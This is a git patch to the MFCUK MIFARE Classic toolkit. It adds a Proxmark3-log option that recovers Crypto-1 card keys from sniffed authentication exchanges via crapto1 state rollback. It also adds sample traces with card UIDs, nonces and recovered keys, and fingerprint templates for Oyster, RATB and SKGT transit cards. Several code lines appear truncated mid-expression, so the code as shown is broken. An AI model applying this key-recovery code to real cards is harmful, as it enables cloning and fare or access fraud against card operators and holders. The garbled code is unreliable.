From 6bdc6f985a688a1c8e9168de444665eb2a2f12e8 Mon Sep 17 00:00:00 2001 From: zveriu Date: Sun, 11 Apr 2010 18:49:43 +0000 Subject: [PATCH] - proxmark3 log external parser (simple python) - proxmark3 full log recovery option added (-P) - fingerprint base implementation and few templates --- configure.ac | 2 +- src/Makefile.am | 2 +- src/bin/data/logs_proxmark3/trace1.txt | 51 +++++ src/bin/data/logs_proxmark3/trace2.txt | 124 +++++++++++ src/bin/data/logs_proxmark3/trace3.txt | 30 +++ .../tmpls_fingerprints/mfcuk_tmpl_oyster.mfd | Bin 0 -> 8192 bytes .../tmpls_fingerprints/mfcuk_tmpl_ratb.mfd | Bin 0 -> 8192 bytes .../tmpls_fingerprints/mfcuk_tmpl_skgt.mfd | Bin 0 -> 8192 bytes src/build_cygwin.sh | 2 +- src/mfcuk_finger.c | 210 ++++++++++++++++++ src/mfcuk_finger.h | 76 +++++++ src/mfcuk_keyrecovery_darkside.c | 175 +++++++++++++-- src/mfcuk_mifare.h | 9 +- tools/proxmark3_parser.py | 43 ++++ 14 files changed, 699 insertions(+), 25 deletions(-) create mode 100644 src/bin/data/logs_proxmark3/trace1.txt create mode 100644 src/bin/data/logs_proxmark3/trace2.txt create mode 100644 src/bin/data/logs_proxmark3/trace3.txt create mode 100644 src/bin/data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd create mode 100644 src/bin/data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd create mode 100644 src/bin/data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd create mode 100644 src/mfcuk_finger.c create mode 100644 src/mfcuk_finger.h create mode 100644 tools/proxmark3_parser.py diff --git a/configure.ac b/configure.ac index 0270f88..7d322b6 100644 --- a/configure.ac +++ b/configure.ac @@ -2,7 +2,7 @@ # Process this file with autoconf to produce a configure script. AC_PREREQ([2.64]) -AC_INIT([mfcuk], [0.3], [zveriu@gmail.com]) +AC_INIT([mfcuk], [0.3.1], [zveriu@gmail.com]) AM_INIT_AUTOMAKE diff --git a/src/Makefile.am b/src/Makefile.am index 9aa2c13..699d7fa 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -1,7 +1,7 @@ bin_PROGRAMS = mfcuk_keyrecovery_darkside # set the include path found by configure -mfcuk_keyrecovery_darkside_SOURCES = mfcuk_keyrecovery_darkside.c mfcuk_mifare.c mfcuk_utils.c crapto1.c crypto1.c +mfcuk_keyrecovery_darkside_SOURCES = mfcuk_keyrecovery_darkside.c mfcuk_mifare.c mfcuk_utils.c mfcuk_finger.c crapto1.c crypto1.c mfcuk_keyrecovery_darkside_LDADD = -lnfc -lusb -lpcsclite # dist_man_MANS = mfcuk_keyrecovery_darkside.1 diff --git a/src/bin/data/logs_proxmark3/trace1.txt b/src/bin/data/logs_proxmark3/trace1.txt new file mode 100644 index 0000000..b5240bf --- /dev/null +++ b/src/bin/data/logs_proxmark3/trace1.txt @@ -0,0 +1,51 @@ + + 561882: 1 : 26 + + 64: 2 : TAG 04 00 + + 10217: 2 : 93 20 + + 64: 5 : TAG 9c 59 9b 32 6c + + 12313: 9 : 93 70 9c 59 9b 32 6c 6b 30 + + 64: 3 : TAG 08 b6 dd + + 923318: 4 : 60 00 f5 7b + + 112: 4 : TAG 82 a4 16 6c + + 6985: 8 : a1 e4! 58 ce! 6e ea! 41 e0! !crc + + 64: 4 : TAG 5c! ad f4 39! + + 811513: 4 : 8e 0e! 5d! b9 !crc + + 112: 4 : TAG 5a! 92 0d! 85! + + 6946: 8 : 98! d7 6b! 77 d6 c6 e8 70 !crc + + 64: 4 : TAG ca 7e! 0b! 63! + + 670868: 4 : 3e! 70 9c! 8a !crc + + 112: 4 : TAG 36! 41 24! 79 + + 9505: 8 : 1b! 8c 3a! 48! 83 5a 4a! 27 !crc + + 64: 4 : TAG 40! 6a! 99! 4b + + 905612: 4 : c9 7c 64! 13! !crc + + 112: 4 : TAG b5! ab! 1d! 2b + + 6936: 8 : 7e! d2 5c! ca! 4b! 50! 88! c4 !crc + + 64: 4 : TAG bf dd 01 be! + + 987853: 4 : 56 98 49 d6! !crc + + 72: 18 : TAG 09 bf! f5! f6! fc! b9! 5e! 51! 07 ac f6 72 f8 73 3b! 1b 73! ad! !crc + + 94864: 4 : 5c! 7b 24! 02 !crc + + 72: 18 : TAG a0 1f! 0b! b7 0d! ba c9 e7! fa! 36! 47 d2 a0! 01! 40! 87 ff 95! !crc + + 94827: 4 : c9 90 dc! a3 !crc + + 72: 18 : TAG df b8! 7a bc! 17! 99 82! 5c 55 d5! 98! 68 8b f8 e7 89 dc 42! !crc + + 99081: 4 : 9f! d5 0f! d8! !crc + + 72: 18 : TAG ca! 40 fa! 34 82 cc 3e de 1f! 7f f7! f0 62! 18! 77! 34 30 07 !crc + + 93995: 4 : ad 7f! 3e 0c! !crc + + 72: 18 : TAG f4! 2b 17! 4c a2! 5a 0c! a0! d8 03! 05 cc cc 4c 1f 12! 0c! 78! !crc + + 94857: 4 : f1! b4 f0 3b! !crc + + 72: 18 : TAG 8f da ca 17! 42 8e 24 c9! 8e fb! 38! aa! 39 e2! dd dd! a8 a6 !crc + + 94850: 4 : c4 03! 7b! 9a !crc + + 72: 18 : TAG 9f! 42! 42 49! cd d1! 3d! fd 8e 8f d3 8d! d5! ca! ef! 15 84 c9! !crc + + 93961: 4 : 33! 3b! ae 0a! !crc + + 72: 18 : TAG 74 ed! 58 46! e7 cc 48 d1! 5a 4b b0! 3a! c1 79! 8a! bf! e7! 42 !crc + + 93193: 4 : f6 ec! 36 91! !crc + + 72: 18 : TAG 79! 63 89! 21! 24 1e 3e! 03! a8! c3! 9b 95! a1 ad! 6c! 34 52 94 !crc + + 94866: 4 : ad! 5c! 47 c5! !crc + + 72: 18 : TAG 68 d4 9d c2! 2b 18 46! f7 e8! 28 ea 03 a4 df d5! 9f 23 00! !crc + + 93994: 4 : 41 4c! 40! 11 !crc + + 72: 18 : TAG b1 95 17! 84! ac fc! 31 b8! 02 40 97! ec! 4c 19 6f e9 f0! 8c! !crc + + 94818: 4 : b8! b5! 5c! 74! !crc + + 72: 18 : TAG c6 03 b9 92! 7d! eb! 13 8a 56 b7 9c 7c 07 3d! 6a 95! 7e! 44 !crc + +# http://www.proxmark.org/forum/post/550/#p550 +# UID = 0x9c599b32 +# KEY = 0xffffffffffff +# 0x9c599b32 0x82a4166c 0xa1e458ce 0x6eea41e0 0x5cadf439 diff --git a/src/bin/data/logs_proxmark3/trace2.txt b/src/bin/data/logs_proxmark3/trace2.txt new file mode 100644 index 0000000..4eb6dd2 --- /dev/null +++ b/src/bin/data/logs_proxmark3/trace2.txt @@ -0,0 +1,124 @@ + + 0: 0: TAG 00! + + 337281: : 30 00 02 a8 + + 5032: : 50 00 57 cd + + 9952: : 52 + + 141825: : 30 00 02 a8 + + 5040: : 50 00 57 cd + + 10528: : 52 + + 7624: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 10656: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 89345: : 30 00 02 a8 + + 72: 0: TAG 04 + + 4976: : 50 00 57 cd + + 9952: : 52 + + 64: 0: TAG 04 00 + + 7720: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 14120: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 105352: : 30 00 02 a8 + + 72: 0: TAG 04 + + 21952: : 50 00 57 cd + + 9944: : 52 + + 64: 0: TAG 04 00 + + 14448: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 10736: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 124904: : 30 00 02 a8 + + 72: 0: TAG 04 + + 4968: : 50 00 57 cd + + 10346: : 52 + + 64: 0: TAG 04 00 + + 7272: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 13240: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 89320: : 30 00 02 a8 + + 72: 0: TAG 04 + + 5000: : 50 00 57 cd + + 10784: : 52 + + 64: 0: TAG 04 00 + + 7680: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 11560: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 89305: : 30 00 02 a8 + + 72: 0: TAG 04 + + 4960: : 50 00 57 cd + + 10040: : 52 + + 64: 0: TAG 04 00 + + 43208: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 10696: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 89305: : 30 00 02 a8 + + 72: 0: TAG 04 + + 4984: : 50 00 57 cd + + 10824: : 52 + + 64: 0: TAG 04 00 + + 9352: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 10680: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 90184: : 30 00 02 a8 + + 72: 0: TAG 04 + + 4984: : 50 00 57 cd + + 9944: : 52 + + 64: 0: TAG 04 00 + + 102224: : 93 20 + + 64: 0: TAG ca fd ca 13 ee + + 939902: : 93 70 ca fd ca 13 ee 8e ea + + 64: 0: TAG 08 b6 dd + + 752874: : 60 00 f5 7b + + 112: 0: TAG e9 01 a1 69 + + 10352: : 71 03 4a be f9 2f 51 2f !crc + + 64: 0: TAG 99 25! ef! 9d! + + 864094: : dc 9f f9 65 !crc + + 72: 0: TAG e5 82 07 a2! e1 ea c5 cd 14 85! aa! 97! 58! 17 0e b5 ab! ff !crc + + 312194: : 4b de 1d e9 !crc + + 72: 0: TAG 04 0a! 1c! ad 54! 3e ed 03! 60! 82 42 e4 da! 83! 98! 22 14! f2 !crc + + 290616: : cc 06 39 d7 !crc + + 72: 0: TAG 0a a3 f1 86 34 8f 9d! 1f! 4d! 7e! f1! 56 8e 9f ee 32! 88 89 !crc + + 204658: : 80 f4 eb 55 !crc + + 72: 0: TAG 9d 6e 88 db! fc 88 14! fa af dd 10! cc 74 81! 71 52 fd! d9 !crc + + 543394: : 26 f0 ea aa !crc + + 72: 0: TAG d5! a1! ed 8d 73! fe! 3e 94 56 db! 39! ad! dc! ff 9c! a3 f2 24! !crc + + 299722: : 56 00 9a 4d !crc + + 72: 0: TAG 58! cf 13 c4 78 50! 0f! b8 73 1c 33! 25 23 12 1e a2! 4a 32! !crc + + 215834: : db a2 ec 42 !crc + + 72: 0: TAG 78 3f! 30! 02 64 85 63! fe! 81! 9e 27 70 f7 cc b0 77 ce! 4b !crc + + 97112: : a5 78 3e 3d !crc + + 72: 0: TAG ef! fd! 47! 36 e5 c3! c1 96 c5 97 7b! 3d! ce! ab! 6e! 5e bd 8b !crc + + 87752: : a1 9b 41 09 !crc + + 72: 0: TAG e5! e1! 28 7d! ee ae! 60 d7 29 96! d7! a1! 6e 4e da! 66! 93 bd! !crc + + 89104: : 70 ff 99 6c !crc + + 72: 0: TAG 17 97 04 0a! 92! 66! 7d e7! 62 a8 b5! 56 d4 a1 ab! b8 70 4e! !crc + + 87928: : 5e 6c 03 09 !crc + + 72: 0: TAG c5! da 86 a4 a0 24! ab da! f3 d9 95! f3! 2d! 8e! b7! 07 a5! e6 !crc + + 88434: : 2e 91 6d 54 !crc + + 72: 0: TAG b4 37 84 6b! fd! c8 71 f9 bf! a1! 96! af! 85! d3 b9! f0! 5b! 57! !crc + + 87648: : 25 ad 12 4f !crc + + 72: 0: TAG 7a! 21! 36 81 d1! eb d6! 39! 04! b7 28! 3f! b1 19! 2e b2 b4 23! !crc + + 87649: : f1 94 78 4b !crc + + 72: 0: TAG 5f! e4 b5 6c c1 3f ce e4 49 d0! e0! 78 bc 46! 92 0f 7a! e5! !crc + + 104544: : 01 6b c7 c4 !crc + + 72: 0: TAG 95! 78! ca 79! ab! 32 47 8d! 1c! 81! 3d! 26 85 5e f3 02 71 3f! !crc + + 99737: : f6 67 6d 48 !crc + + 72: 0: TAG 4b! 6e fa 87 51 7d 92 a2! fb! 1b! 1d 62! f8! 7b! 2d! cf! c1 20 !crc + + 360330: : b8 59 c0 94 !crc + + 72: 0: TAG b0! 05 25! 4b! 94 8d! 75 62 70! 85 77! e7 a6 1f! 9e! 54 07! d5! !crc + + 443146: : 7f 3a fa 6a !crc + + 72: 0: TAG ac c9 81! b4! de ee! e5! 0b! 73! 79! 6c fe! d8 53 00! e1 3c! f0 !crc + + 198008: : 47 e6 ec f7 !crc + + 72: 0: TAG a6 b1! 1e! 8e! 86! ee d0 4a 4c ee 34 df 6b e6! da 45! d6! ed !crc + + 455019: : 49 13 9c fb !crc + + 72: 0: TAG 31! 1d 7d 21! 22! e3 af! bc ce 6e! 6c! 9f 48 c1! 16! 28! f3! 18 !crc + + 223097: : ff 43 e9 35 !crc + + 72: 0: TAG e5! 41 d7 99! 46 8d! ff e7! 1e! 22 32! d0 93! 9e a1 c5 5c! 32! !crc + +# http://www.proxmark.org/forum/topic/385/error-with-mifarecrackpy/ +# real uid is: ca fd ca 13 +# 0xcafdca13 0xe901a169 0x71034abe 0xf92f512f 0x9925ef9d diff --git a/src/bin/data/logs_proxmark3/trace3.txt b/src/bin/data/logs_proxmark3/trace3.txt new file mode 100644 index 0000000..582583e --- /dev/null +++ b/src/bin/data/logs_proxmark3/trace3.txt @@ -0,0 +1,30 @@ + +2770194: : 26 + + 64: 0: TAG 04 00 + + 1432: : 93 20 + + 64: 0: TAG 5e c2 1c 61 e1 + + 2168: : 93 70 5e c2 1c 61 e1 d5 65 + + 64: 0: TAG 08 b6 dd + + 31064: : 60 08 bd f7 + + 112: 0: TAG d7 b2 ae bd + + 1976: : 60 d1 57 7f aa 02 78 ea !crc + + 599060: : 26 + + 64: 0: TAG 04 00 + + 1424: : 93 20 + + 64: 0: TAG 5e c2 1c 61 e1 + + 2168: : 93 70 5e c2 1c 61 e1 d5 65 + + 64: 0: TAG 08 b6 dd + + 31160: : 60 08 bd f7 + + 112: 0: TAG cc ec 00 cd + + 1976: : 86 ae b4 79 69 34 ed 50 !crc + + 545300: : 26 + + 64: 0: TAG 04 00 + + 1440: : 93 20 + + 64: 0: TAG 5e c2 1c 61 e1 + + 2168: : 93 70 5e c2 1c 61 e1 d5 65 + + 64: 0: TAG 08 b6 dd + + 31144: : 60 08 bd f7 + + 112: 0: TAG 9c 6a 3c 1e + + 1976: : 33 aa 1e 4c 8a a1 58 ed !crc + +# http://www.proxmark.org/forum/post/2346/#p2346 +# 0x5ec21c61 0xd7b2aebd 0x60d1577f 0xaa0278ea 0x26 \ No newline at end of file diff --git a/src/bin/data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd b/src/bin/data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd new file mode 100644 index 0000000000000000000000000000000000000000..1b55b0c1e1a7d8f4715039207e0b71ecfa3a502e GIT binary patch literal 8192 zcmeI#IS#-e3`9|1Ej!t+m+KN*Pvb69@TVJLOZY*9nP1f{GZ$O%)%~Sx^Y(Xx|C&hO zTa literal 0 HcmV?d00001 diff --git a/src/build_cygwin.sh b/src/build_cygwin.sh index 78e70a8..e45da7e 100644 --- a/src/build_cygwin.sh +++ b/src/build_cygwin.sh @@ -3,4 +3,4 @@ LIBNFC=libnfc CFLAGS=`pkg-config --cflags ${LIBNFC}` CFLAGS_LIBNFC=`pkg-config --cflags libnfc | cut -d ' ' -f 1`/${LIBNFC} -gcc ./${MAIN_FILE}.c ./mfcuk_mifare.c ./mfcuk_utils.c ./crapto1.c ./crypto1.c ./bin/libnfc.lib ${CFLAGS} ${CFLAGS_LIBNFC} -o ./bin/${MAIN_FILE}_cygwin.exe +gcc ./${MAIN_FILE}.c ./mfcuk_mifare.c ./mfcuk_utils.c ./mfcuk_finger.c ./crapto1.c ./crypto1.c ./bin/libnfc.lib ${CFLAGS} ${CFLAGS_LIBNFC} -o ./bin/${MAIN_FILE}_cygwin.exe diff --git a/src/mfcuk_finger.c b/src/mfcuk_finger.c new file mode 100644 index 0000000..109183e --- /dev/null +++ b/src/mfcuk_finger.c @@ -0,0 +1,210 @@ +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_finger.c + + Description: + MFCUK fingerprinting and specific data-decoding functionality. + + License: + GPL2, Copyright (C) 2009, Andrei Costin + + * @file mfcuk_finger.c + * @brief MFCUK fingerprinting and specific data-decoding functionality. + * @todo add proper error codes +*/ + +#include "mfcuk_finger.h" + +mfcuk_finger_tmpl_entry mfcuk_finger_db[] = +{ + { "./data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd", "Sofia SKGT", mfcuk_finger_default_comparator, mfcuk_finger_skgt_decoder, NULL }, + { "./data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd", "Bucharest RATB", mfcuk_finger_default_comparator, mfcuk_finger_default_decoder, NULL }, + { "./data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd", "London OYSTER", mfcuk_finger_default_comparator, mfcuk_finger_default_decoder, NULL } +}; + +int mfcuk_finger_db_entries = sizeof(mfcuk_finger_db)/sizeof(mfcuk_finger_db[0]); + +int mfcuk_finger_default_decoder(mifare_tag *dump) +{ + if (!dump) + { + fprintf(stderr, "ERROR: cannot decode a NULL pointer :)\n"); + return 0; + } + + printf("UID:\t%02x%02x%02x%02x\n", dump->amb[0].mbm.abtUID[0], dump->amb[0].mbm.abtUID[1], dump->amb[0].mbm.abtUID[2], dump->amb[0].mbm.abtUID[3]); + printf("TYPE:\t%02x\n", dump->amb[0].mbm.btUnknown); + + return 1; +} + +// Yes, I know C++ class inheritance would perfectly fit the decoders/comparators... Though C is more to my heart. Anyone to rewrite in C++? +int mfcuk_finger_skgt_decoder(mifare_tag *dump) +{ + unsigned char *dump_ptr = NULL; + unsigned short car_number = 0; + + if (!dump) + { + fprintf(stderr, "ERROR: cannot decode a NULL pointer :)\n"); + return 0; + } + + dump_ptr = (unsigned char *) dump; + + printf("Bulgaria/Sofia/SKGT public transport card information decoder (info credits to Andy)\n"); + mfcuk_finger_default_decoder(dump); + + printf("LAST TRAVEL DATA\n"); + + // TODO: get proper information + + return 1; +} + +int mfcuk_finger_default_comparator(mifare_tag *dump, mfcuk_finger_template *tmpl, float *score) +{ + int max_bytes = 0; + int i; + int num_bytes_tomatch = 0; + int num_bytes_matched = 0; + + if ( (!dump) || (!tmpl) || (!score) ) + { + return 0; + } + + if (IS_MIFARE_CLASSIC_1K_TAG(dump)) + { + max_bytes = MIFARE_CLASSIC_BYTES_PER_BLOCK * MIFARE_CLASSIC_1K_MAX_BLOCKS; + } + else if (IS_MIFARE_CLASSIC_4K_TAG(dump)) + { + max_bytes = MIFARE_CLASSIC_BYTES_PER_BLOCK * MIFARE_CLASSIC_4K_MAX_BLOCKS; + } + else + { + return 0; + } + + for (i=0; imask))[i] == 0x0 ) + { + continue; + } + + num_bytes_tomatch++; + + if ( ((char *)(&tmpl->values))[i] == ((char *)dump)[i] ) + { + num_bytes_matched++; + } + } + + if (num_bytes_tomatch == 0) + { + return 0; + } + else + { + *score = (float)(num_bytes_matched)/num_bytes_tomatch; + } + + return 1; +} + +int mfcuk_finger_load() +{ + int i; + mifare_tag mask; + mifare_tag values; + FILE *fp = NULL; + size_t result = 0; + mfcuk_finger_template *tmpl_new = NULL; + + for (i = 0; imask), &(mask), sizeof(mask)); + memcpy( &(tmpl_new->values), &(values), sizeof(values)); + + mfcuk_finger_db[i].tmpl_data = tmpl_new; + } + } + + fclose(fp); + + return 1; +} + +int mfcuk_finger_unload() +{ + int i; + + for (i = 0; i. +*/ + +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_finger.h + + Description: + MFCUK fingerprinting and specific data-decoding functionality. + + License: + GPL2, Copyright (C) 2009, Andrei Costin + + * @file mfcuk_finger.h + * @brief MFCUK fingerprinting and specific data-decoding functionality. +*/ + +#ifndef _MFCUK_FINGER_H_ +#define _MFCUK_FINGER_H_ + +#include +#include +#include + +#include "mfcuk_mifare.h" + +// Wrapping an ugly template into an externally pleasant name. To implement proper template later. +typedef struct _mfcuk_finger_template_ +{ + mifare_tag mask; + mifare_tag values; +} mfcuk_finger_template; + +// Function type definition, to be used for custom decoders/comparators +typedef int (*mfcuk_finger_comparator) (mifare_tag *dump, mfcuk_finger_template *tmpl, float *score); +typedef int (*mfcuk_finger_decoder) (mifare_tag *dump); + +// Naive implementation of a self-contained fingerprint database entry +typedef struct _mfcuk_finger_tmpl_entry_ +{ + char *tmpl_filename; + char *tmpl_name; + mfcuk_finger_comparator tmpl_comparison_func; + mfcuk_finger_decoder tmpl_decoder_func; + mfcuk_finger_template *tmpl_data; +} mfcuk_finger_tmpl_entry; + +int mfcuk_finger_default_comparator(mifare_tag *dump, mfcuk_finger_template *tmpl, float *score); +int mfcuk_finger_default_decoder(mifare_tag *dump); +int mfcuk_finger_skgt_decoder(mifare_tag *dump); + +// "Housekeeping" functions +int mfcuk_finger_load(); +int mfcuk_finger_unload(); + +#endif diff --git a/src/mfcuk_keyrecovery_darkside.c b/src/mfcuk_keyrecovery_darkside.c index b30fa9a..8e27f88 100644 --- a/src/mfcuk_keyrecovery_darkside.c +++ b/src/mfcuk_keyrecovery_darkside.c @@ -1,3 +1,20 @@ +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + /* Package: MiFare Classic Universal toolKit (MFCUK) @@ -99,26 +116,10 @@ -------------------------------------------------------------------------------- */ -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - #include #include #include +#include #ifdef WIN32 #define NOMINMAX @@ -139,10 +140,14 @@ #include #include "mfcuk_mifare.h" #include "mfcuk_utils.h" +#include "mfcuk_finger.h" #include "mfcuk_keyrecovery_darkside.h" #define MAX_FRAME_LEN 264 +extern mfcuk_finger_tmpl_entry mfcuk_finger_db[]; +extern int mfcuk_finger_db_entries; + // TODO: rename the array and number of items in array variable names tag_nonce_entry_t arrSpoofEntries[MAX_TAG_NONCES]; // "Cache" array of already received tag nonces, since we cannot 100% fix one tag nonce as of now uint32_t numSpoofEntries = 0; // Actual number of entries in the arrSpoofEntries @@ -666,6 +671,7 @@ void print_usage(FILE *fp) { fprintf(fp, "\n"); fprintf(fp, "Usage:\n"); + fprintf(fp, "-C - require explicit connection to the reader. Without this option, the connection is not made and recovery will not occur\n"); fprintf(fp, "-i mifare.dmp - load input mifare_tag type dump\n"); fprintf(fp, "-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_tag type dump\n"); fprintf(fp, "-o mifare.dmp - output the resulting mifare_tag dump to a given file\n"); @@ -677,10 +683,15 @@ void print_usage(FILE *fp) fprintf(fp, "\tAfter first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys\n"); fprintf(fp, "-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded\n"); fprintf(fp, "-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire\n"); - fprintf(fp, "-D - for sectors and key-types markes for verification, use first default keys to verify (maybe you are lucky)\n"); + fprintf(fp, "-D - for sectors and key-types marked for verification, in first place use default keys to verify (maybe you are lucky)\n"); fprintf(fp, "-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys\n"); fprintf(fp, "-s - miliseconds to sleep for DROP FIELD\n"); fprintf(fp, "-S - miliseconds to sleep for CONSTANT DELAY\n"); + fprintf(fp, "-P hex_literals_separated - try to recover the key from a conversation sniffed with Proxmark3 (mifarecrack.c based). Accepts several options:\n"); + fprintf(fp, "\tConcatenated string in hex literal format of form uid:tag_chal:nr_enc:reader_resp:tag_resp\n"); + fprintf(fp, "\tExample -P 0x5c72325e:0x50829cd6:0xb8671f76:0xe00eefc9:0x4888964f would find key FFFFFFFFFFFF\n"); + fprintf(fp, "-p proxmark3_full.log - tries to parse the log file on it's own (mifarecrack.py based), get the values for option -P and invoke it\n"); + fprintf(fp, "-F - tries to fingerprint the input dump (-i) against known cards' data format\n"); fprintf(fp, "\n"); return; } @@ -884,6 +895,26 @@ int main(int argc, char* argv[]) mifare_tag_ext tag_on_reader; mifare_tag_ext tag_recover_verify; mifare_key_type bKeyType = keyA; + + // fingerprint options related + mifare_tag finger_tag; + float finger_score; + float finger_score_highest; + int finger_index_highest; + + // proxmark3 log related + #define PM3_UID 0 + #define PM3_TAG_CHAL 1 + #define PM3_NR_ENC 2 + #define PM3_READER_RESP 3 + #define PM3_TAG_RESP 4 + + uint32_t pm3_full_set_log[5]; // order is: uid, tag_challenge, nr_enc, reader_response, tag_response + uint32_t pm3_ks2; + uint32_t pm3_ks3; + struct Crypto1State *pm3_revstate; + uint64_t pm3_lfsr; + unsigned char* pm3_plfsr = (unsigned char*)&pm3_lfsr; // various related int i, j, k; @@ -921,11 +952,14 @@ int main(int argc, char* argv[]) print_usage(stdout); return 1; } + + // Load fingerprinting "database" + mfcuk_finger_load(); // OPTION PROCESSING BLOCK // TODO: for WIN32 figure out how to use unistd/posix-compatible Gnu.Getopt.dll (http://getopt.codeplex.com) // For WIN32 using VERY limited (modified) Xgetopt (http://www.codeproject.com/KB/cpp/xgetopt.aspx) - while ((ch = getopt(argc, argv, "htTDi:I:o:O:V:R:S:s:v:M:U:d:n:")) != -1) // -1 or EOF + while ((ch = getopt(argc, argv, "htTDCi:I:o:O:V:R:S:s:v:M:U:d:n:P:p:F:")) != -1) // -1 or EOF { switch(ch) { @@ -933,6 +967,9 @@ int main(int argc, char* argv[]) case 'n': strncpy( tag_recover_verify.description, optarg, sizeof(tag_recover_verify.description) ); break; + case 'C': + bfOpts[ch] = true; + break; // Additional default key option case 'd': memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); @@ -1234,6 +1271,95 @@ int main(int argc, char* argv[]) test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_4K); bfOpts[ch] = true; break; + case 'P': + token = NULL; + str = optarg; + iter = 0; + + // parse the arguments of the option. ugly, ugly... i know :-S + while ( (token = strtok(str, sep)) && (iter < sizeof(pm3_full_set_log)/sizeof(pm3_full_set_log[0])) ) + { + str = NULL; + errno = 0; + pm3_full_set_log[iter] = strtoul(token, NULL, 16); + + // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh! + if (errno != 0) + { + fprintf(stderr, "WARN: Invalid hex literal %s for option -P\n", token); + } + + iter++; + } + + // if not all arguments were fine, fire warning + if ( iter != sizeof(pm3_full_set_log)/sizeof(pm3_full_set_log[0]) ) + { + fprintf(stderr, "WARN: Invalid number of hex literal for option -P\n", optarg); + } + // otherwise try to recover + else + { + /* + // TODO: implement better this function + mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr); + */ + pm3_ks2 = pm3_full_set_log[PM3_READER_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 64); + pm3_ks3 = pm3_full_set_log[PM3_TAG_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 96); + pm3_revstate = lfsr_recovery64(pm3_ks2, pm3_ks3); + lfsr_rollback_word(pm3_revstate, 0, 0); + lfsr_rollback_word(pm3_revstate, 0, 0); + lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_NR_ENC], 1); + lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_UID] ^ pm3_full_set_log[PM3_TAG_CHAL], 0); + crypto1_get_lfsr(pm3_revstate, &pm3_lfsr); + printf("proxmark3 log key: %02x%02x%02x%02x%02x%02x\n", pm3_plfsr[5], pm3_plfsr[4], pm3_plfsr[3], pm3_plfsr[2], pm3_plfsr[1], pm3_plfsr[0]); + crypto1_destroy(pm3_revstate); + } + break; + case 'p': + /* + if (mfcuk_pm3_parse_log(optarg, pm3_full_set)) + { + mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr); + } + else + { + } + */ + printf("NOT IMPLEMENTED YET...\n"); + break; + case 'F': + if ( !mfcuk_load_tag_dump(optarg, &(finger_tag)) ) + { + fprintf(stderr, "WARN: Unable to load tag dump from '%s'\n", optarg); + } + else + { + finger_score_highest = -1.0f; + finger_index_highest = -1; + for (i = 0; i finger_score_highest) + { + finger_score_highest = finger_score; + finger_index_highest = i; + } + } + + if (finger_index_highest > -1) + { + printf("Tag '%s' matches '%s' with highest score %f\n", optarg, mfcuk_finger_db[finger_index_highest].tmpl_name, finger_score_highest); + mfcuk_finger_db[finger_index_highest].tmpl_decoder_func(&(finger_tag)); + } + else + { + printf("No template found to match tag '%s'\n", optarg); + } + } + break; case 'h': // Help screen print_usage(stdout); @@ -1248,8 +1374,11 @@ int main(int argc, char* argv[]) break; } } + + // Unload fingerprinting + mfcuk_finger_unload(); - // If tests were requested, exit 